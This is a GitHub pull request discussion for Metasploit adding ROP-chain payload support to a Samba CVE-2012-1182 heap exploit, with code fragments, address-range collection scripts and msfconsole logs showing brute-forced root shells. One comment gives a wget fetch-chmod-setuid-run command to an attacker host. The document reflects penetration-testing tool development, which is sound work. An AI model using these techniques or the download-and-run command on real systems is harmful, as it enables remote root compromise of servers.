Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add meterpreter/command support to samba exploit using ROP #987

Merged
merged 5 commits into from
Nov 19, 2012

Conversation

mephos
Copy link
Contributor

@mephos mephos commented Oct 29, 2012

add support for arbitrary payload in samba CVE-2012-1182 exploit

ROP is performed against libgcrypt.so which is rarely modified/updated
Libgcrypt has been patched/modified after samba CVE was released, so if libgcrypt was updated on the system, samba was very probably updated too and is no longer vulnerable

This way, ROP chain can be generic across minor versions of samba( 3.5.8~dfsg-1ubuntu2 , ubuntu2.1, ubuntu2.2 ...)

I left ROP chains for smbd binaries if someone's interested in it

ROP chain does mmap(PROT_WRITE|PROT_EXEC), memcpy and jmp on shellcode

Tested on ubuntu 10.10, 11.04, 11.10 and debian squeeze using meterpreter/reverse_tcp

'Platform' => 'unix',
'Arch' => ARCH_CMD,
# 'SessionTypes' => [ 'shell', 'meterpreter' ],
'SessionTypes' => [ 'meterpreter' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Meaningless in an exploit module. Only used for Post.

@jvazquez-r7
Copy link
Contributor

Looks nice! Start to review and testing it, feedback in a while!

@jvazquez-r7
Copy link
Contributor

First full test on Ubuntu 11.04 wasn't successful:

rmsf  exploit(setinfopolicy_heap) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.172.1:4444 
[*] Trying to exploit Samba with address 0xb67f1000 (1/618)...
[*] Trying to exploit Samba with address 0xb67f2000 (2/618)...
[*] Trying to exploit Samba with address 0xb67f3000 (3/618)...
...
...
[*] Trying to exploit Samba with address 0xb6a54000 (612/618)...
[*] Trying to exploit Samba with address 0xb6a55000 (613/618)...
[*] Trying to exploit Samba with address 0xb6a56000 (614/618)...
[*] Trying to exploit Samba with address 0xb6a57000 (615/618)...
[*] Trying to exploit Samba with address 0xb6a58000 (616/618)...
[*] Trying to exploit Samba with address 0xb6a59000 (617/618)...
[*] Trying to exploit Samba with address 0xb6a5a000 (618/618)...
[*] Trying to exploit Samba with address 0xb6a5b000 (619/618)...

After checking the address where libgcrypt was mapped:

root@ubuntu:/proc/1014# grep crypt maps
0042b000-00452000 r-xp 00000000 08:01 398613     /usr/lib/i386-linux-gnu/libk5crypto.so.3.1
00452000-00453000 r--p 00026000 08:01 398613     /usr/lib/i386-linux-gnu/libk5crypto.so.3.1
00453000-00454000 rw-p 00027000 08:01 398613     /usr/lib/i386-linux-gnu/libk5crypto.so.3.1
1d50b000-1d58d000 r-xp 00000000 08:01 918461     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
1d58d000-1d58e000 r--p 00081000 08:01 918461     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
1d58e000-1d590000 rw-p 00082000 08:01 918461     /lib/i386-linux-gnu/libgcrypt.so.11.7.0

And doing it manually, it worked :-)

msf  exploit(setinfopolicy_heap) > set StopBrute 0x1d50b000
StopBrute => 0x1d50b000
msf  exploit(setinfopolicy_heap) > set StartBrute 0x1d500000
StartBrute => 0x1d500000
msf  exploit(setinfopolicy_heap) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.172.1:4444 
[*] Trying to exploit Samba with address 0x1d500000 (1/11)...
[*] Trying to exploit Samba with address 0x1d501000 (2/11)...
[*] Trying to exploit Samba with address 0x1d502000 (3/11)...
[*] Trying to exploit Samba with address 0x1d503000 (4/11)...
[*] Trying to exploit Samba with address 0x1d504000 (5/11)...
[*] Trying to exploit Samba with address 0x1d505000 (6/11)...
[*] Trying to exploit Samba with address 0x1d506000 (7/11)...
[*] Trying to exploit Samba with address 0x1d507000 (8/11)...
[*] Trying to exploit Samba with address 0x1d508000 (9/11)...
[*] Trying to exploit Samba with address 0x1d509000 (10/11)...
[*] Trying to exploit Samba with address 0x1d50a000 (11/11)...
[*] Trying to exploit Samba with address 0x1d50b000 (12/11)...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.151:54257) at 2012-10-30 19:10:33 +0100
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
exi
[*] 192.168.172.151 - Command shell session 1 closed.  Reason: Died from EOFError
t

So, my comments:

  • I think start and stop ranges must be checked for all the targets before this can be merged. With the actual ranges doesn't seem like the exploit is going to work at all.
  • Your multi thread implementation of the brute force mainly looks good for me, even when I've done a small comment about it. Anyway I'll ask a more experienced developer to look into it.
  • It there are rop chains (and stackpivots) for smbd, and there is the possibility of libgcrypt to be a different one than the proposed by the exploit, I'm not sure if it would be better to use the smbd rop chains... I'm going to ask for opinion about this point again :)
  • Finally let me check with @wchen-r7 if this case is suitable for a ropdb xml entry. If libgcrypt would be stable over updates I would say "yes". Since according to your comments, it isn't... I have my doubts, not sure if other exploits are going to use this rop chain, so not sure if is a suitable entry for the ropdb database of chains.

tmp = cmd * (816/cmd.length)
tmp << "\x00"*(816-tmp.length)
helper = 0
if target['Arch'] == ARCH_CMD
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think, once the new "rop version" of the exploit is approved, it can (should) be deleted.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

left this as legacy if one want to "quickly" add a new target with only "system"

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sounds good

@mephos
Copy link
Contributor Author

mephos commented Oct 30, 2012

"First full test on Ubuntu 11.04 wasn't successful:"

according to the number of tries, adn the abse address, you used target 0 which is for ubuntu 11.10
use target 2 for ubuntu 11.04 but there seems to be a problem with libgcrypt.so.11.7.0 base address (never seen base address in these ranges. The VM I was using had 512 Mb of RAM, tried rebooting between checks and got the same values. Might be related to quantity of RAM used in the machine)

what's strange is that libgcrypt.so.11.7.0 is installed on ubuntu 11.10 and not 11.04

On 11.04, I expect 1.4.6-4ubuntu2 which wasn't upgraded before samba vuln went public(https://launchpad.net/ubuntu/natty/+source/libgcrypt11/+changelog),
1.4.6-4ubuntu2.1 was published after samba fix so if there's the new lib, there should be a patched samba as well so the exploit cannot work

libgcrypt almost never changes on a distribution (or after samba was patched) so it seems really reliable for ROP chains. On the contrary, minor versions of samba can be a pain (for instance, 5 minor versions between release and this vulnerability patch, all can be covered with the same libgcrypt ROP chain, but you'd need 5 ROP chains for 5 smbd different versions. On top of that, samba doesn't annouce it's minor version on ubuntu/debian (3.5.8 announced, could be any of 3-4 minor versions)

as for the ROP database entry, considering the ROP chain size and the number of it, it's easier to read it in a xml than having all of them in the exploit file imho

@jvazquez-r7
Copy link
Contributor

Hi mephos,

My fault, I kept testing Ubuntu 11.10 (Oneiric Ocelot) not 11.04, sorry! So really I don't think the ranges provided (at least for 11.10) are reliable for the real world. More tested should be done to provide better ranges.

On the other hand, about ropdb, after speak with @wchen-r7:

  • ropdb chains default to a base, if a default base (not "0") cannot be provided, would be better to put the rop chains in the module (and not use ropdb).

And, definitely, would need an historic of libgcrypt updates before using it for rop chain.

@mephos
Copy link
Contributor Author

mephos commented Oct 31, 2012

Ubuntu distro used were "server" ones with tests performed with 1 and 2 Gb RAM. Tested again and got the same addr ranges.
Juan told me that he used desktop edition of Ubuntu, the differences might come from there.

Centos5 use SELinux by default, meterpreter will most likely not work by default (smbd TCP output is limited to ports 137-139 and 445, and heap is not executable). Use linux/x86/exec with "touch /tmp/foo" to test

It might be possible to use linux/x86/exec with wget http://MY_IP:445/meterpreter -O /tmp/meterpreter && chmod +x /tmp/meterpreter && chmod +s /tmp/meterpreter && /tmp/meterpreter , host a precompiled meterpreter on an HTTP server on port 445 and have a exploit/multi/handler listening for incoming connections

Will need some more testing to validate addr ranges. Juan, could you perform a test with a server edition of Ubuntu?

thanks

@jvazquez-r7
Copy link
Contributor

Yes, testing server editions, attaching results on a while!

@jvazquez-r7
Copy link
Contributor

Attaching the results of testing on Ubuntu 11.04 and Ubuntu 11.10 Server, ranges failed in both cases.

  • 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.04 Server (1GB RAM):
msf  exploit(setinfopolicy_heap) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.129:4444 
[*] Trying to exploit Samba with address 0xb6973000 (1/510)...
[*] Trying to exploit Samba with address 0xb6974000 (2/510)...
[*] Trying to exploit Samba with address 0xb6975000 (3/510)...
....
[*] Trying to exploit Samba with address 0xb6b6f000 (509/510)...
[*] Trying to exploit Samba with address 0xb6b70000 (510/510)...
[*] Trying to exploit Samba with address 0xb6b71000 (511/510)...

From the server: package, smbd processes and libgcrypt maps:

ii  samba                           2:3.5.8~dfsg-1ubuntu2              SMB/CIFS file, print, and login server for Unix
ii  samba-common                    2:3.5.8~dfsg-1ubuntu2              common files used by both the Samba server and client
ii  samba-common-bin                2:3.5.8~dfsg-1ubuntu2              common files used by both the Samba server and client
root     13969  0.0  0.4  17164  4892 ?        Ss   02:26   0:00 smbd -F
root     14000  0.0  0.1  16604  1392 ?        S    02:26   0:00 smbd -F
004d1000-00542000 r-xp 00000000 08:01 135624     /lib/i386-linux-gnu/libgcrypt.so.11.6.0
00542000-00543000 r--p 00070000 08:01 135624     /lib/i386-linux-gnu/libgcrypt.so.11.6.0
00543000-00545000 rw-p 00071000 08:01 135624     /lib/i386-linux-gnu/libgcrypt.so.11.6.0
  • 2:3.5.11~dfsg-1ubuntu2 on Ubuntu 11.10 Server (1GB RAM):
msf  exploit(setinfopolicy_heap) > set target 0
target => 0
msf  exploit(setinfopolicy_heap) > set rhost 192.168.172.161
rhost => 192.168.172.161
msf  exploit(setinfopolicy_heap) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.129:4444 
[*] Trying to exploit Samba with address 0xb67f1000 (1/510)...
[*] Trying to exploit Samba with address 0xb67f2000 (2/510)...
[*] Trying to exploit Samba with address 0xb67f3000 (3/510)...
[*] Trying to exploit Samba with address 0xb67f4000 (4/510)...
[*] Trying to exploit Samba with address 0xb67f5000 (5/510)...
.
.
.
[*] Trying to exploit Samba with address 0xb69eb000 (507/510)...
[*] Trying to exploit Samba with address 0xb69ec000 (508/510)...
[*] Trying to exploit Samba with address 0xb69ed000 (509/510)...
[*] Trying to exploit Samba with address 0xb69ee000 (510/510)...
[*] Trying to exploit Samba with address 0xb69ef000 (511/510)...
msf  exploit(setinfopolicy_heap) > 

From the server: package and libgcrypt maps for the smbd process:

ii  samba                           2:3.5.11~dfsg-1ubuntu2                  SMB/CIFS file, print, and login server for Unix
ii  samba-common                    2:3.5.11~dfsg-1ubuntu2                  common files used by both the Samba server and client
ii  samba-common-bin                2:3.5.11~dfsg-1ubuntu2                  common files used by both the Samba server and client
08188000-0820a000 r-xp 00000000 08:01 397898     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
0820a000-0820b000 r--p 00081000 08:01 397898     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
0820b000-0820d000 rw-p 00082000 08:01 397898     /lib/i386-linux-gnu/libgcrypt.so.11.7.0

@mephos
Copy link
Contributor Author

mephos commented Nov 9, 2012

I just tried again with a fresh install of ubuntu 11.10 server (with "ubuntu" and NOT "ubuntu (64 bits)" in Virtualbox) with 512 MB RAM :

root@ubuntu:~# service smbd stop
smbd stop/waiting
root@ubuntu:~# service smbd start
smbd start/running, process 1897
root@ubuntu:~# cat /proc/1897/maps |grep libgcrypt
b6952000-b69d4000 r-xp 00000000 08:01 279832     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b69d4000-b69d5000 r--p 00081000 08:01 279832     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b69d5000-b69d7000 rw-p 00082000 08:01 279832     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
root@ubuntu:~# dpkg -l|grep samba
ii  samba                              2:3.5.11~dfsg-1ubuntu2                  SMB/CIFS file, print, and login server for Unix
ii  samba-common                       2:3.5.11~dfsg-1ubuntu2                  common files used by both the Samba server and client
ii  samba-common-bin                   2:3.5.11~dfsg-1ubuntu2                  common files used by both the Samba server and client
ii  samba-doc                          2:3.5.11~dfsg-1ubuntu2                  Samba documentation
root@ubuntu:~# dpkg -l|grep libgcrypt
ii  libgcrypt11                        1.5.0-1                                 LGPL Crypto library - runtime library

I stopped the VM, set RAM to 2 GB and tested again :

root@ubuntu:~# ps faux|grep smb
root      1104  0.0  0.0   4156   512 pts/0    S+   14:34   0:00                      \_ grep --color=auto smb
root       587  0.0  0.2  18192  4140 ?        Ss   14:31   0:00 smbd -F
root       611  0.0  0.0  18192  1236 ?        S    14:31   0:00  \_ smbd -F
root@ubuntu:~# service smbd restart
smbd start/running, process 1110
root@ubuntu:~# cat /proc/1110/maps |grep libgcr
b686c000-b68ee000 r-xp 00000000 08:01 279832     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b68ee000-b68ef000 r--p 00081000 08:01 279832     /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b68ef000-b68f1000 rw-p 00082000 08:01 279832     /lib/i386-linux-gnu/libgcrypt.so.11.7.0

Libgcrypt ranges fall in ranges provided in exploit
I don't understand why you get different ranges

Ubuntu ISO used is the following :

md5sum ubuntu-11.10-server-i386.iso
881d188cb1ca5fb18e3d9132275dceda  ubuntu-11.10-server-i386.iso

@jvazquez-r7
Copy link
Contributor

Same iso than me for Ubuntu 11.10. Doesn't seem like the ranges provided in the exploits are accurate, sorry :( I can try to run tests by myself, will start with Ubuntu 11.10. Along the next days I'll try to provide results.

$ md5 ubuntu-11.10-server-i386.iso 
MD5 (ubuntu-11.10-server-i386.iso) = 881d188cb1ca5fb18e3d9132275dceda

@mephos
Copy link
Contributor Author

mephos commented Nov 9, 2012

Here are the scripts I use to collect ranges :

#!/bin/bash
for i in {1..10000}
do
 echo $i
 service smbd start
 cat /proc/`ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'`/maps |grep "libgcrypt.so"|head -1|cut -d " " -f 1 >> /tmp/smbd-range.txt
 service smbd stop
done

and to parse it (python commands) :

a=open("/tmp/smbd-range.txt").read().split("\n")
l=[]
for i in a:
  t = i.split("-")
  l.append(int(t[0],16))
hex(min(l))
hex(max(l))

@jvazquez-r7
Copy link
Contributor

Hi mephos,

using your script I get:

$ python parser.py 
0x248000 // min
0x22b6c000 // max

which is more like our old ranges.

I'm using vmware fusion as virtualization solution for this test. Feel free to ask me privately to juan.vazquez [at] metasploit.com if you would like that I send you the smbd-range.txt.

@jvazquez-r7
Copy link
Contributor

In the worst case, since I must do the testing anyway, I could take ranges for you and update brute force addresses. Just let me know if you would like to do any test more before, or dig into this behavior deeper :)

@mephos
Copy link
Contributor Author

mephos commented Nov 12, 2012

I performed my tests using VirtualBox on a 64bits Ubuntu 12.04 host
Do you have another machine where you could test the ranges usung Virtualbox from either a windows or linux host, to see if something changes ? Or could somebody else from R7 perform the test? (the more machine we test on, the better)

@jvazquez-r7
Copy link
Contributor

I dont think atm, but we can let it open for some days in case someone could test it.

@mephos
Copy link
Contributor Author

mephos commented Nov 13, 2012

Just tested on a 64bits debian sid host using Virtualbox 4.1.18 and then 4.2.4 with Ubuntu 11.10 as guest :
addresses found fall in the same ranges I previously found

Also tested on VMware workstation 8.0, my findings:

  • installation propose a lot less options when using vmware compared to virtualbox : I don't know what's installed and how
  • libgcrypt is mapped at really random addresses, BUT ld-2.13.so seems to be really often mapped at 0x110000 !!

Juan, could you check ld-2.13.so map address in your configuration, and if possible, check addresses ranges with Virtualbox ?

thx

@mephos
Copy link
Contributor Author

mephos commented Nov 16, 2012

Did some more tests on a REAL machine (64bits laptop with 2GB RAM and ubuntu server 11.10 32 bits with default install) and I got EXACTLY the same results as in Virtualbox (libgcrypt range is 0xb67f1000-0xb69ef000).

VMWare must install ubuntu in an esoteric configuration or do some "magic" behind the scene (in my testings with VMWare, libraries got mapped at really random addresses except for some at 0x110000 which was often ld-2.13.so or libldap or another one, so it offers really much less security because address seems to be constant)

@jvazquez-r7
Copy link
Contributor

Sounds good! Conducting last test on a VirtualBox and merging if it's fine.

@jvazquez-r7
Copy link
Contributor

Finally got a machine with vbox 4.1.16. Ubuntu 11.10 Desktop ranges don't match, but yes with Ubuntu Server 11.10 ! So I'll specify in the targets names. On the other hand, when there are a lot of connections against the smb server it can start to happens:

[*] Trying to exploit Samba with address 0xb684d000 (93/510)...
[*] Trying to exploit Samba with address 0xb684e000 (94/510)...
[*] Trying to exploit Samba with address 0xb684f000 (95/510)...
[*] Trying to exploit Samba with address 0xb6850000 (96/510)...
[*] Trying to exploit Samba with address 0xb6851000 (97/510)...
[*] Trying to exploit Samba with address 0xb6852000 (98/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with unimplemented command 0 with WordCount 0, retrying with same address
[*] Trying to exploit Samba with address 0xb6851000 (97/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address
[*] Trying to exploit Samba with address 0xb6852000 (98/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::InvalidType The server responded with unexpected packet (Command=115 WordCount=4), retrying with same address
[*] Trying to exploit Samba with address 0xb6851000 (97/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::LoginError Login Failed: Stream # is closed., retrying with same address
[*] Trying to exploit Samba with address 0xb6852000 (98/510)...
[*] Trying to exploit Samba with address 0xb6853000 (99/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address
[*] Trying to exploit Samba with address 0xb6851000 (97/510)...
[*] Trying to exploit Samba with address 0xb6852000 (98/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::InvalidCommand The server responded with unimplemented command 0 with WordCount 83, retrying with same address
[*] Trying to exploit Samba with address 0xb6852000 (98/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address
[*] Trying to exploit Samba with address 0xb6853000 (99/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::InvalidCommand The server responded with unimplemented command 0 with WordCount 0, retrying with same address
[*] Trying to exploit Samba with address 0xb6851000 (97/510)...
[*] The following  error was encountered: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with unimplemented command 0 with WordCount 0, retrying with same address

In this state, even if you try to cancel the exploitation threads keep running... which is a little annoying for the msfconsole user. And my main worry is how it's going to be handled in other versions of metasploit (metasploit pro for example). Because of this, I'm going to return to the original Brute mixin and merge! Once I'm confirmed it wouldn't be a problem on other versions of metasploit I can merge the multithreading code!

BTW, test output with the brute mixin:

msf > use exploit/linux/samba/setinfopolicy_heap
msf  exploit(setinfopolicy_heap) > show options
Module options (exploit/linux/samba/setinfopolicy_heap):
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   RHOST                        yes       The target address
   RPORT       445              yes       Set the SMB service port
   StartBrute                   no        Start Address For Brute Forcing
   StopBrute                    no        Stop Address For Brute Forcing
Exploit target:
   Id  Name
   --  ----
   0   2:3.5.11~dfsg-1ubuntu2 on Ubuntu 11.10
msf  exploit(setinfopolicy_heap) > set RHOST 192.168.1.132
RHOST => 192.168.1.132
msf  exploit(setinfopolicy_heap) > set StartBrute 0xb69aa000
StartBrute => 0xb69aa000
msf  exploit(setinfopolicy_heap) > set StopBrute 0xb69af000
StopBrute => 0xb69af000
msf  exploit(setinfopolicy_heap) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.129:4444 
[*] Trying to exploit Samba with address 0xb69aa000...
[*] Trying to exploit Samba with address 0xb69ab000...
[*] Trying to exploit Samba with address 0xb69ac000...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.132:52648) at 2012-11-19 14:06:07 +0100
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
^C
Abort session 1? [y/N]  y
[*] 192.168.1.132 - Command shell session 1 closed.  Reason: User exit
msf  exploit(setinfopolicy_heap) > 

@jvazquez-r7 jvazquez-r7 merged commit e170c1e into rapid7:master Nov 19, 2012
@jvazquez-r7
Copy link
Contributor

Merged after final cleanup and using the Brute mixin again because of the exposed in the comments above! thanks mephos for an awesome contribution and for keep working hard on this pull request!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants